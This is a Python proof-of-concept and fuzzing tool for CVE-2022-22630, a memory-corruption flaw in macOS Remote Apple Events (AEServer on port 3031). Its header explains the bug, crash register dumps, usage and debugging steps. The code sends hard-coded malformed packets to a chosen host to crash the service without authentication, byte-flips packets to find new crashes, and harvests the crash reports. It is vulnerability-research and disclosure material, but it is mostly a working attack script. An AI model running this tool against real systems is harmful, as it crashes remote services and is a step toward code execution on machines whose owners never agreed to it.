#!/usr/bin/env python
# -*- coding: UTF-8 -*-
#
# naval.py
#
# Apple macOS Remote Events Remote Memory Corruption Vulnerability
#
# Jeremy Brown [jbrown3264/gmail]
#
# =====
# Intro
# =====
#
# [eppc] Hello from AEServer
#
# Remote Apple Events is a core service and remote system administration and automation
# tool for Macs. It can be enabled via System Preferences -> Sharing and listens on
# port tcp/3031 and may be used in enterprise environments for remote administration.
# Sending malformed packets triggers a crash in the AEServer binary which may allow for
# arbitrary code execution on the remote machine within the context of the _eppc user.
# However, the crash is subtle as the service is automatically restarted and only a log
# in /Library/Logs/DiagnosticReports/AEServer_*.crash is generated if ReportCrash is enabled.
#
# Although a controlled, reliable crash at an arbitrary location is difficult, it was
# eventually achieved during testing with repeated characters in packets during sessions.
#
# Thread 0 crashed with X86 Thread State (64-bit):
#   rax: 0x4242424242424242  rbx: 0x0000000000000006  rcx: 0x0000424242424240  rdx: 0x00000000000e6370
#   rdi: 0x00007fb041c0ab40  rsi: 0x0000000103d3ba00  rbp: 0x00007ffeebef99f0  rsp: 0x00007ffeebef99b8
#    r8: 0x0000000000000020   r9: 0x0000000000000002  r10: 0x00007fb041c00000  r11: 0x00007fb041c0e1c0
#   r12: 0x000000000000000d  r13: 0x00007fff8091afe0  r14: 0x00007fb041c251b0  r15: 0x00007fb041c25218
#   rip: 0x00007fff202d541f  rfl: 0x0000000000010202  cr2: 0x0000424242424260
#
# While debugging it looks like the process is crashing when trying to release or
# dereference memory that has been deallocated, likely a sign of a heap related bug
# such as a use-after-free bug.
#
# This code serves as a toolkit to help debug and trigger crashes, but as mentioned
# extensive testing was required to gain more precise control of rax/rcx. Also note
# that authentication is not required to trigger crashes service locally or remotely.
#
# =======
# Details
# =======
#
# Much of the functionality depends on running this locally on the target box, such
# as debugging with ReportCrash logs, but it can certainly trigger remote crashes too
# if you pass the --remote flag (disables local debugging stuff).
#
# $ ./naval.py 10.0.0.12 --fuzz // use --original to fuzz with the non-crashing packets
# ....
#
# $ head crashes.txt
# 1 - (0x7e @ 1) -> 0x20
# [many more truncated]
#
# $ ./naval.py 10.0.0.12 --sleep --replay "1:7e:1" // pkt:byte:index
# ....
#
# Then within 10 seconds, start the debugger on the local target.. GOGOGO
#
# $ sudo lldb -o "attach --name AEServer" -o c
# ....
#
# (lldb) c
# Process 50050 resuming
# Process 50050 stopped
# * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x7fd1d0e1bd8)
#     frame #0: 0x00007fff2028341f libobjc.A.dylib`objc_release + 31
#
# And now you can explore the crash
#
# One can also check to see AEServer receving packets:
# > dtrace -n 'syscall::*recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' | grep AEServer
#
# ===
# Fix
# ===
# - Addressed in Monterey 12.3
#
# CVE-2022-22630
#

import os
import sys
import argparse
import datetime
import time
import psutil
import shutil
import signal
import socket
import random
import re

REPORT_DIR = '/Library/Logs/DiagnosticReports'
LOG_DIR = 'logs'

PORT = 3031 # eppc

CRASH_LOG = 'crashes' + str(datetime.datetime.now().strftime("%Y%m%d_%H%M%S")) + '.txt'
REPORT_CRASH = True
SLEEP_TIME = 10
MAX_BYTE = 255 # 0xff

#
# original packets
#
PKT_1_ORIG = b'PPCT\x00\x00\x00\x01\x00\x00\x00\x01'
PKT_2_ORIG = b'\xe4LPRT\x01\xe1\x01\xe7\x06finder\xdf\xdb\xe3\x02\x01=\xdf\xdf\xdf\xdf\xd5\x00'
PKT_3_ORIG = b'\xe4SREQ\xdf\xdf\xdf\xdf\xdf\x01\xe7\x06finder\xdf\xdb\xe5\x04B{\xbf\xac\xdf\xdf\xdf\xdf\xdf\xdf\xdf\xdf\xdc\xe5\x04test\xdf\xdd\x00'
PKT_4_ORIG = b'\x16\x03\x01\x00\x92\x01\x00\x00\x8e\x03\x03\x61\x00\x8b\x66\x96\xc7\x08\xa2\xe8\x0e\x53\x13\xbd\xd3\x1c\x69\x12\x43\xd3\x03\xe2\xec\x8d\x61\x3d\x01\xed\x67\xd7\x62\xf8\xca\x00\x00\x2c\x00\xff\xc0\x2c\xc0\x2b\xc0\x24\xc0\x23\xc0\x0a\xc0\x09\xc0\x08\xc0\x30\xc0\x2f\xc0\x28\xc0\x27\xc0\x14\xc0\x13\xc0\x12\x00\x9d\x00\x9c\x00\x3d\x00\x3c\x00\x35\x00\x2f\x00\x0a\x01\x00\x00\x39\x00\x0a\x00\x08\x00\x06\x00\x17\x00\x18\x00\x19\x00\x0b\x00\x02\x01\x00\x00\x0d\x00\x12\x00\x10\x04\x01\x02\x01\x05\x01\x06\x01\x04\x03\x02\x03\x05\x03\x06\x03\x00\x05\x00\x05\x01\x00\x00\x00\x00\x00\x12\x00\x00\x00\x17\x00\x00'
PKT_5_ORIG = b'\x16\x03\x03\x00\x46\x10\x00\x00\x42\x41\x04\x8d\xd9\xbc\x5f\x9b\x0d\x86\x28\xda\x1f\xba\x75\xe3\x01\x06\x73\xf4\x28\xe2\xe5\x9b\x2e\xfc\x75\x0c\xad\x3d\x7d\xc8\x59\xc0\x20\xce\xcb\xdf\x87\x88\x09\x46\x1f\xf3\x97\x3f\xb8\xd1\xc8\xf5\x4b\xa9\x9f\xdc\xae\xba\x75\x50\xfa\x96\xd5\xcf\xa2\xa4\xec\x7b\x61'

#
# crashing packets
#
PKT_1 = b'PPCT\x00\x00\x00\x01\x00\x00\x00\x01'
PKT_2 = b'\xe4LPRT\x01\xe1\x01\xe7\x06xxxyyy\xdf\xdb\xe3\x02\x01=\xdf\xdf\xdf\xdf\xd5\x00' # s/finder/xxxyyy

class Naval(object):
    def __init__(self, args):
        self.host = args.host
        self.fuzz = args.fuzz
        self.replay = args.replay
        self.remote = args.remote
        self.reprofile = args.reprofile
        self.original = args.original
        self.sleep = args.sleep

        self.pkt1 = None
        self.pkt2 = None

        # original
        self.pkt3 = None
        self.pkt4 = None
        self.pkt5 = None

        self.pkt_pick = 0

        self.pkt_num = None
        self.byte = None
        self.index = None

        self.logs = []

    def run(self):
        if(self.remote):
            REPORT_CRASH = False
        else:
            REPORT_CRASH = True

        if(REPORT_CRASH):
            #
            # sudo launchctl load -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
            #
            if('ReportCrash' not in (proc.name() for proc in psutil.process_iter())):
                print("ReportCrash isn't running, make sure it's enabled first\n")
                return -1

            if(os.path.isdir(REPORT_DIR)):
                try:
                    logs = os.listdir(REPORT_DIR)
                except Exception as error:
                    print("failed to list %s: %s\n" % (REPORT_DIR, error))
                    return -1
            else:
                print("dir %s doesn't exist, can't fuzz and check for crashes\n" % REPORT_DIR)
                return -1

        if(self.original):
            # non-crashing
            self.pkt1 = PKT_1_ORIG
            self.pkt2 = PKT_2_ORIG
            self.pkt3 = PKT_3_ORIG
            self.pkt4 = PKT_4_ORIG
            self.pkt5 = PKT_5_ORIG
        else:
            # crashing
            self.pkt1 = PKT_1
            self.pkt2 = PKT_2

        if(self.replay):
            if(len(self.replay.split(':')) != 3):
                print("invalid replay format: %s" % self.replay)
                return -1

            replay = self.replay.split(':')

            try:
                self.pkt_num = int(replay[0])
            except Exception as error:
                print("packet number %s is invalid: %s", (pkt_num, error))
                return -1

            try:
                self.byte = int(replay[1], 16)
            except Exception as error:
                print("byte %s is invalid: %s", (byte, error))
                return -1

            try:
                self.index = int(replay[2])
            except Exception as error:
                print("index %s is invalid: %s", (index, error))
                return -1

            if(self.pkt_num == 1):
                pkt = self.modifyPacket(self.pkt1, self.byte, self.index)

                if(pkt == None):
                    return -1
            elif(self.pkt_num == 2):
                pkt = self.modifyPacket(self.pkt2, self.byte, self.index)

                if(pkt == None):
                    return -1
            else:
                print("pkt number must be 1 or 2")
                return -1

            print("replaying packets\n")

            self.showRepro(pkt)

        if(self.reprofile):
            if(self.repro(self.reprofile) < 0):
                print("failed")
                return -1

            return 0

        #
        # fuzz each packet one after another
        #
        if(self.fuzz):
            print("fuzzing sequentially packet 1\n")

            self.pkt_num = 1

            if(self.fuzzPacketSeq(self.pkt1) < 0):
                print("failed")
                return -1

            print("fuzzing sequentially packet 2\n")

            self.pkt_num = 2

            if(self.fuzzPacketSeq(self.pkt2) < 0):
                print("failed")
                return -1

            if(self.original):
                self.pkt_num = 3

                if(self.fuzzPacketSeq(self.pkt3) < 0):
                    print("failed")
                    return -1

                self.pkt_num = 4

                if(self.fuzzPacketSeq(self.pkt4) < 0):
                    print("failed")
                    return -1

                self.pkt_num = 5

                if(self.fuzzPacketSeq(self.pkt5) < 0):
                    print("failed")
                    return -1
        else:
            if(not self.replay):
                if(self.original):
                    print("sending original packets for testing\n")
                else:
                    print("sending packets to trigger crash\n")

                    self.showRepro([])

            sock = self.getSock()

            if(sock == None):
                return -1

            try:
                sock.connect((self.host, PORT))
            except Exception as error:
                print("connect() failed: %s\n" % error)
                return -1

            if(self.sleep):
                time.sleep(SLEEP_TIME)

            try:
                sock.send(self.pkt1)
                sock.recv(256)
            except Exception as error:
                print("failed to send/recv packet 1: %s\n" % error)
                return -1

            try:
                sock.send(self.pkt2)
            except Exception as error:
                print("failed to send packet 2: %s\n" % error)
                return -1

            if(self.original):
                try:
                    sock.send(PKT_3_ORIG)
                except Exception as error:
                    print("failed to send packet 3: %s\n" % error)
                    return -1

                try:
                    sock.send(PKT_4_ORIG)
                except Exception as error:
                    print("failed to send packet 4: %s\n" % error)
                    return -1

                try:
                    sock.send(PKT_5_ORIG)
                except Exception as error:
                    print("failed to send packet 5: %s\n" % error)
                    return -1

            sock.close()

        if(REPORT_CRASH):
            self.checkReports()

        print("done\n")

        return 0

    def getSock(self):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(1)
        except Exception as error:
            print("socket() failed: %s\n" % error)
            return None

        return sock

    def fuzzPacketSeq(self, packet):
        c = 0
        i = 0

        #
        # flip each byte in the packet sequentially from 0 ... 255
        #
        while(i < len(packet)):
            while(c <= MAX_BYTE):
                pkt = bytearray(packet)

                self.index = i
                self.byte = c

                orig = pkt[self.index]
                pkt[self.index] = self.byte

                print("pkt @ index=%d (%s -> %s)" % (self.index, hex(orig), hex(pkt[self.index])))

                sock = self.getSock()

                if(sock == None):
                    return -1

                try:
                    sock.connect((self.host, PORT))
                except Exception as error:
                    print("connect() failed: %s\n" % error)
                    continue

                if(self.sendPacket(sock, pkt) < 0):
                    print("sendPacket() failed\n")
                    return -1

                sock.close()

                self.showRepro(pkt)

                if(REPORT_CRASH):
                    self.checkReports()

                c += 1

            c = 0
            i += 1

        return 0

    def createPacket(self, pkt_name):
        n = random.randint(8,4096)

        print("created \\x42 x %d for %s\n" % (n, pkt_name))

        return str.encode('B' * n)

    def modifyPacket(self, pkt, byte, index):
        if((index < 0) or (index >= len(pkt))):
            print("index must be 0 - %d\n" % (len(pkt)-1))
            return -1

        pkt = pkt[:index] + bytes([byte]) + pkt[index + 1:]

        return pkt

    def sendPacket(self, sock, pkt):
        try:
            if(self.pkt_pick == 1):
                sock.send(pkt)
            else:
                sock.send(self.pkt1)

            sock.recv(256)
        except socket.timeout:
            print("timed out")
        except Exception as error:
            print("send/recv failed for packet #1: %s\n" % error)

        try:
            if(self.pkt_pick == 2):
                sock.send(pkt)
            else:
                sock.send(self.pkt2)

            if(self.original):
                sock.recv(256) # not necessary for crashing packets 1 & 2
        except Exception as error:
            print("send/recv failed for packet #2: %s\n" % error)

        if(self.original):
            try:
                if(self.pkt_pick == 3):
                    sock.send(pkt)
                else:
                    pick = random.randint(1,2)

                    #
                    # pick=1 means self.pkt3 doesn't change
                    #

                    if(pick == 2):
                        self.pkt3 = self.createPacket('pkt3')

                    sock.send(self.pkt3)

                sock.recv(256)
            except Exception as error:
                print("send/recv failed for packet #3: %s\n" % error)

            try:
                if(self.pkt_pick == 4):
                    sock.send(pkt)
                else:
                    pick = random.randint(1,2)

                    if(pick == 2):
                        self.pkt4 = self.createPacket('pkt4')

                    sock.send(self.pkt4)

                sock.recv(256)
            except Exception as error:
                print("send/recv failed for packet #4: %s\n" % error)

            try:
                if(self.pkt_pick == 5):
                    sock.send(pkt)
                else:
                    pick = random.randint(1,2)

                    if(pick == 2):
                        self.pkt5 = self.createPacket('pkt5')

                    sock.send(self.pkt5)

                sock.recv(256)
            except Exception as error:
                print("send/recv failed for packet #5: %s\n" % error)

        return 0

    def repro(self, filename):
        print("reproing crash with %s\n" % os.path.basename(filename))

        try:
            with open(filename, 'r') as file:
                data = file.readlines()
        except Exception as error:
            print("failed to read file %s: %s" % (filename, error))
            return -1

        try:
            self.pkt1 = bytes.fromhex(data[0].replace('\\x', ''))
            self.pkt2 = bytes.fromhex(data[1].replace('\\x', ''))

            if(self.original):
                self.pkt3 = bytes.fromhex(data[2].replace('\\x', ''))
                self.pkt4 = bytes.fromhex(data[3].replace('\\x', ''))
                self.pkt5 = bytes.fromhex(data[4].replace('\\x', ''))
        except Exception as error:
            print("failed to parse repro: %s" % error)
            return -1

        sock = self.getSock()

        if(sock == None):
            return -1

        try:
            sock.connect((self.host, PORT))
        except Exception as error:
            print("connect() failed: %s\n" % error)
            return -1

        if(self.sleep):
            time.sleep(SLEEP_TIME)

        try:
            sock.send(self.pkt1)
            sock.recv(256)
        except socket.timeout:
            print("timed out")
        except Exception as error:
            print("send/recv failed for packet #1: %s\n" % error)

        try:
            sock.send(self.pkt2)

            if(self.original):
                sock.recv(256) # not necessary for crashing packets 1 & 2
        except Exception as error:
            print("send/recv failed for packet #2: %s\n" % error)

        if(self.original):
            try:
                sock.send(self.pkt3)
                sock.recv(256)
            except Exception as error:
                print("send/recv failed for packet #3: %s\n" % error)

            try:
                sock.send(self.pkt4)
                sock.recv(256)
            except Exception as error:
                print("send/recv failed for packet #4: %s\n" % error)

            try:
                sock.send(self.pkt5)
                sock.recv(256)
            except Exception as error:
                print("send/recv failed for packet #5: %s\n" % error)

        sock.close()

        self.showRepro([])

        if(REPORT_CRASH):
            self.checkReports()

        print("done\n")

        return 0

    def getHex(self, data):
        return ''.join(f'\\x{byte:02x}' for byte in data)

    def printHex(self, data):
        print(''.join(f'\\x{byte:02x}' for byte in data))

    def showRepro(self, pkt):
        if(len(pkt) == len(self.pkt1)):
            self.printHex(pkt)
        else:
            self.printHex(self.pkt1)

        if(len(pkt) == len(self.pkt2)):
            self.printHex(pkt)
        else:
            self.printHex(self.pkt2)

        if(self.original):
            if(len(pkt) == len(self.pkt3)):
                self.printHex(pkt)
            else:
                self.printHex(self.pkt3)

            if(len(pkt) == len(self.pkt4)):
                self.printHex(pkt)
            else:
                self.printHex(self.pkt4)

            if(len(pkt) == len(self.pkt5)):
                self.printHex(pkt)
            else:
                self.printHex(self.pkt5)

        print()

        #
        # restore original packets
        #
        self.pkt3 = PKT_3_ORIG
        self.pkt4 = PKT_4_ORIG
        self.pkt5 = PKT_5_ORIG

    def checkReports(self):
        time.sleep(2) # make sure ReportCrash has time to do its thing

        try:
            logs_now = os.listdir(REPORT_DIR)
        except Exception as error:
            print("failed to open %s for reading: %s\n" % (REPORT_DIR, error))
            return -1

        if(len(logs_now) > len(self.logs)):
            logs_new = list(set(logs_now) - set(self.logs))

            #
            # if we have new crash logs, grab the pc and correlate it with repro
            #
            for log in logs_new:
                if(log.startswith('AEServer') and log.endswith('.crash')):
                    log_file = REPORT_DIR + os.sep + log

                    try:
                        with open(log_file, 'r') as file:
                            data = file.read()
                    except Exception as error:
                        print("failed to read %s: %s\n" % (log, error))
                        return -1

                    pc = re.search('0x(.*)', data)

                    if(pc != None):
                        pc = '0x' + pc.group(1).lstrip('0')
                    else:
                        print("couldn't get pc from crash log\n")

                    print("found crash @ pc=%s\n" % pc)

                    #
                    # create a crash log if we're fuzzing or replaying bytes at indices
                    #
                    if(self.fuzz):
                        crash_info = 'pkt #' + str(self.pkt_num) + ' - (byte=' + hex(self.byte) + ' @ index=' + str(self.index) + ') -> ' + pc + '\n'

                        try:
                            with open(CRASH_LOG, 'a') as file:
                                file.write(crash_info)
                        except Exception as error:
                            print("failed to write %s: %s\n" % (crash_info, error))
                            return -1

                    if(not os.path.isdir(LOG_DIR)):
                        try:
                            os.mkdir(LOG_DIR)
                        except Exception as error:
                            print("failed to mkdir %s: %s\n" % (LOG_DIR, error))

                    log_name = LOG_DIR + os.sep + os.path.basename(log_file) + '_' + str(self.byte) + '_' + str(self.index) + '_' + pc + '.txt'

                    #
                    # move crash log file
                    #
                    try:
                        shutil.move(log_file, log_name)
                    except Exception as error:
                        print("failed to move %s: %s\n" % (log_file, error))
                        return -1

                    ips_file = REPORT_DIR + os.sep + log.split('.')[0] + '.ips'

                    ips_name = LOG_DIR + os.sep + os.path.basename(log_file) + '_' + str(self.byte) + '_' + str(self.index) + '_' + pc + '.txt'

                    #
                    # check if there's an associated .ips
                    #
                    if(os.path.isfile(ips_file)):
                        try:
                            # shutil.move(ips_file, LOG_DIR)
                            shutil.move(ips_file, ips_name)
                        except Exception as error:
                            print("failed to move %s: %s\n" % (ips_file, error))
                            return -1

                    #
                    # write repro if random fuzzing (no byte/index to replay)
                    #
                    # note: possible bug somewhere preventing pkt 3-5 from saving the correct repro,
                    # (eg. if mutated with B's), so for now we're just extra verbose with output when
                    # mutating packets and stop if pc contains 424242 so we can debug from there
                    #
                    repro_name = LOG_DIR + os.sep + os.path.basename(log_file) + '_' + pc + '_' + 'repro' + '.txt'

                    try:
                        with open(repro_name, 'w') as file:
                            file.write(self.getHex(self.pkt1))
                            file.write('\n')
                            file.write(self.getHex(self.pkt2))

                            if(self.original):
                                file.write('\n')
                                file.write(self.getHex(self.pkt3))
                                file.write('\n')
                                file.write(self.getHex(self.pkt4))
                                file.write('\n')
                                file.write(self.getHex(self.pkt5))
                    except Exception as error:
                        print("failed to write %s: %s\n" % (repro_name, error))
                        return -1

                    #
                    # temporary to help triage crashing packets
                    #
                    if('424242' in pc):
                        self.showRepro([])
                        sys.exit(0)

                    #
                    # reset logs after move
                    #
                    try:
                        self.logs = os.listdir(REPORT_DIR)
                    except Exception as error:
                        print("failed to list %s: %s\n" % (REPORT_DIR, error))
                        return -1

            return 0

def stop(signum, frame):
    print()
    sys.exit(0)

def arg_parse():
    parser = argparse.ArgumentParser()

    parser.add_argument("host",
                        type=str,
                        help="target listening on eppc port 3031")

    parser.add_argument("--fuzz",
                        "--fuzz",
                        default=False,
                        action="store_true",
                        help="sequentially exhaust bytes in each packet and display crashing PC as available")

    parser.add_argument("--remote",
                        "--remote",
                        default=False,
                        action="store_true",
                        help="target remote hosts and turn disable local debugging support")

    parser.add_argument("--replay",
                        "--replay",
                        type=str,
                        help="replay crash with the following format [pkt:byte:index], eg. 2:ff:3")

    parser.add_argument("--reprofile",
                        "--reprofile",
                        type=str,
                        help="filename containing packet data on each line to replay (generated by random fuzzing)")

    parser.add_argument("--original",
                        "--original",
                        default=False,
                        action="store_true",
                        help="use the original non-crashing packets")

    parser.add_argument("--sleep",
                        "--sleep",
                        default=False,
                        action="store_true",
                        help="sleep helper for time to lldb attach after launchd creates the AEServer process upon connection (10 secs)")

    args = parser.parse_args()

    return args

def main():
    signal.signal(signal.SIGINT, stop)

    args = arg_parse()

    nr = Naval(args)

    result = nr.run()

    if(result > 0):
        sys.exit(-1)

if(__name__ == '__main__'):
    main()